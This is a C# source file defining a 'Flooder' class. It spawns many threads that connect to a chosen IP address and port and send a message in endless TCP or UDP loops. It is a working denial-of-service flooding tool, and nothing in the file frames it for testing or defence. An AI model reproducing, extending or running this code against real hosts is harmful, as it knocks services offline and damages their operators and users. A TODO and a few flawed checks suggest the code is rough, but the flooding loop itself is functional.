﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

namespace Dossert
{
    enum FloodMethod
    {
        UDP,
        TCP
    }

    class Flooder
    {
        private List<Thread> m_Threads = new List<Thread>();
        private IPEndPoint m_IpEndPoint = new IPEndPoint(IPAddress.None, 0);
        private byte[] m_byMsg;
        private bool m_bFiring = false;
        private FloodMethod m_Method;

        public bool IsFiring
        {
            get
            {
                return m_bFiring;
            }
        }

        public string Address
        {
            get
            {
                return m_IpEndPoint.Address.ToString();
            }

            set
            {
                try
                {
                    m_IpEndPoint.Address = IPAddress.Parse(value);
                }

                catch
                {
                    m_IpEndPoint.Address = IPAddress.None;
                    throw new System.FormatException();
                }
            }
        }

        public ushort Port
        {
            get
            {
                return (ushort)m_IpEndPoint.Port;
            }

            set
            {
                m_IpEndPoint.Port = value;
            }
        }

        public string Message
        {
            get
            {
                return new string(System.Text.ASCIIEncoding.ASCII.GetChars(m_byMsg));
            }

            set
            {
                m_byMsg = System.Text.ASCIIEncoding.ASCII.GetBytes(value);
            }
        }

        public FloodMethod Method
        {
            get
            {
                return m_Method;
            }

            set
            {
                m_Method = value;

                if (m_bFiring)
                {
                    uint numthreads = NumThreads;
                    m_Threads.ForEach(t => t.Abort());
                    m_Threads.Clear();

                    for (int i = 0; i < numthreads; i++)
                    {
                        Thread thread = new Thread(ThreadFire);
                        m_Threads.Add(thread);
                        
                        thread.Start();
                    }
                }
            }
        }

        public uint NumThreads
        {
            get
            {
                return (uint)m_Threads.Count;
            }

            set
            {
                if (m_Threads.Count < value)
                {
                    for (int i = 0; i < value - m_Threads.Count; i++)
                    {
                        Thread thread = new Thread(ThreadFire);
                        m_Threads.Add(thread);
                        if (m_bFiring)
                            thread.Start();
                    }
                }

                if (m_Threads.Count > value)
                {
                    for (int i = 0; i < m_Threads.Count - (int)value; i++)
                        m_Threads[i].Abort();

                    m_Threads.RemoveRange(0, m_Threads.Count - (int)value);
                }
            }
        }

        public Flooder(FloodMethod method = FloodMethod.TCP, uint numthreads = 1)
        {
            Method = method;
            NumThreads = numthreads;

            for (int i = 0; i < numthreads; i++)
            {
                m_Threads.Add(new Thread(ThreadFire));
            }
        }

        public void Start()
        {
            m_Threads.ForEach(t => t.Start());
            m_bFiring = true;
        }

        public void Stop()
        {
            uint numthreads = NumThreads;
            m_Threads.ForEach(t => t.Abort());
            m_Threads.Clear();

            for (int i = 0; i < numthreads; i++)
            {
                Thread thread = new Thread(ThreadFire);
                m_Threads.Add(thread);
            }

            m_bFiring = false;
        }

        private void ThreadFire()
        {
            switch (Method)
            {
                case FloodMethod.UDP: UDPFlood(new UdpClient()); break;
                case FloodMethod.TCP: TCPFlood(new TcpClient()); break;
                default: TCPFlood(new TcpClient()); break;
            }
        }

        //TODO: Fix closing connection, need to keep being connected
        private void TCPFlood(TcpClient flooder)
        {
            IPEndPoint address = new IPEndPoint(m_IpEndPoint.Address, m_IpEndPoint.Port);

            try
            {
                while (!flooder.Client.Connected)
                {
                    try
                    {
                        flooder.Connect(m_IpEndPoint);
                    }

                    catch
                    {
                        continue;
                    }
                }

                while (true)
                {
                    if (address.Address != m_IpEndPoint.Address || address.Port != m_IpEndPoint.Port)
                    {
                        flooder.Close();
                        while (!flooder.Client.Connected)
                        {
                            try
                            {
                                flooder.Connect(m_IpEndPoint);
                            }

                            catch
                            {
                                continue;
                            }
                        }
                    }
                    
                    flooder.GetStream().Write(m_byMsg, 0, m_byMsg.Length);
                }
            }

            catch
            {
                if (flooder.Client.Connected)
                    flooder.Close();
            }
        }

        private void UDPFlood(UdpClient flooder)
        {
            IPEndPoint address = new IPEndPoint(m_IpEndPoint.Address, m_IpEndPoint.Port);

            try
            {
                while (!flooder.Client.Connected)
                {
                    try
                    {
                        flooder.Connect(m_IpEndPoint);
                    }

                    catch
                    {
                        continue;
                    }
                }

                while (true)
                {
                    if (address.Address != m_IpEndPoint.Address || address.Port != m_IpEndPoint.Port)
                    {
                        flooder.Close();
                        while (!flooder.Client.Connected)
                        {
                            try
                            {
                                flooder.Connect(m_IpEndPoint);
                            }

                            catch
                            {
                                continue;
                            }
                        }
                    }

                    flooder.Send(m_byMsg, m_byMsg.Length);
                }
            }

            catch
            {
                if (flooder.Client.Connected)
                    flooder.Close();
            }
        }
    }
}
